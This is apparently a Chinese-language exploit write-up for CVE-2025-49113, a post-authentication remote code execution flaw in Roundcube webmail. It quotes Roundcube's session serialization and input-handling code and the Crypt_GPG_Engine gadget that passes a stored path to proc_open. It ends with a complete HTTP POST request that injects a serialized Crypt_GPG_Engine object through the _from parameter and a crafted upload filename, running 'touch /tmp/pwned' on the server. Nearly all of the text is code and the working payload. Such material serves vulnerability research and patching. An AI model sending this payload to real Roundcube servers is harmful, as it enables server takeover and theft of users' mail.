CVE-2025-49113 – 通过PHP对象反序列化在Roundcube中实现认证后远程代码执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

// 验证URL输入
if (!rcube_utils::is_simple_string($type)) {
    rcmail::write_log('errors', 'URL参数"_from"包含不允许的字符，请求被拒绝。');
    $rcmail->output->command('display_message', '无效输入', 'error');
    $rcmail->output->send('iframe');
}

public static function is_simple_string($input)
{
    return is_string($input) && !!preg_match('/^[\w.-]+$/i', $input);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

$from   = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type   = preg_replace('/(add|edit)-/', '', $from);

// 设置中的插件可能使用此文件进行某些上传(#5694)
// 确保它不包含点号，这是使用rcube_session::append()时的特殊字符
$type = str_replace('.', '-', $type);

if (!$err && !empty($attachment['status']) && empty($attachment['abort'])) {
    $id = $attachment['id'];

    // 在会话中存储新文件
    unset($attachment['status'], $attachment['abort']);
    $rcmail->session->append($type . '.files', $id, $attachment);

1

$rcmail->session->append($type . '.files', $id, $attachment);

1
2
3
4
5
6
7
8

public function append($path, $key, $value)
{
    // 从数据库重新读取会话数据，因为它可能已过时
    if (!$this->reloaded && microtime(true) - $this->start > 0.5) {
        $this->reload();
        $this->reloaded = true;
        $this->start = microtime(true);
    }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

public function reload()
{
    // 从先前的附加中收集更新数据
    $merge_data = [];
    foreach ((array) $this->appends as $var) {
        $path = explode('.', $var);
        $value = $this->get_node($path, $_SESSION);
        $k = array_pop($path);
        $node = &$this->get_node($path, $merge_data);
        $node[$k] = $value;
    }

    if ($this->key) {
        $data = $this->read($this->key);
    }

    if (!empty($data)) {
        session_decode($data);

        // 将附加和取消设置应用于重新加载的数据
        $_SESSION = array_merge_recursive($_SESSION, $merge_data);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

/**
 * 序列化会话数据
 */
protected function serialize($vars)
{
    $data = '';

    if (is_array($vars)) {
        foreach ($vars as $var => $value) {
            $data .= $var . '|' . serialize($value);
        }
    } else {
        $data = 'b:0;';
    }

    return $data;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

/**
 * 反序列化会话数据
 * https://www.php.net/manual/en/function.session-decode.php#56106
 *
 * @param string $str 序列化数据字符串
 *
 * @return array|false 反序列化数据
 */
public static function unserialize($str)
{
    $str = (string) $str;
    $endptr = strlen($str);
    $p = 0;

    $serialized = '';
    $items = 0;
    $level = 0;

    while ($p < $endptr) {
        $q = $p;
        while ($str[$q] != '|') {
            if (++$q >= $endptr) {
                break 2;
            }
        }

        if ($str[$p] == '!') {
            $p++;
            $has_value = false;
        } else {
            $has_value = true;
        }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

private function _closeIdleAgents()

    // 注意：我们再次检查此二进制文件是否可执行，出于安全原因
    if ($this->_gpgconf && is_executable($this->_gpgconf)) {
        // 2.1.13之前不支持--homedir，使用环境变量
        $env = ['GNUPGHOME' => $this->_homedir];
        $cmd = $this->_gpgconf . ' --kill gpg-agent';

        if ($process = proc_open($cmd, [], $pipes, null, $env)) {
            proc_close($process);
        }
    }

class Crypt_GPG_Engine{
    private $_gpgconf;
    
    function __construct($cmd){
        $this->_gpgconf = $cmd;
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

POST /?_from=edit-!";i:0;O:16:"Crypt_GPG_Engine":1:{S:26:"\00Crypt_GPG_Engine\00_gpgconf";S:18:"touch+/tmp/pwned;#";}i:0;b:0;}";}}&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload HTTP/1.1
Host: roundcube.local
X-Requested-With: XMLHttpRequest
Accept-Encoding: identity
Content-Length: 242

-----------------------------WebKitFormBoundary
Content-Disposition: form-data; name="_file[]"; filename="x|b:0;preferences_time|b:0;preferences|s:179:\"a:3:{i:0;s:57:\".png"
Content-Type: image/png

IMAGE
----------------------------- WebKitFormBoundary--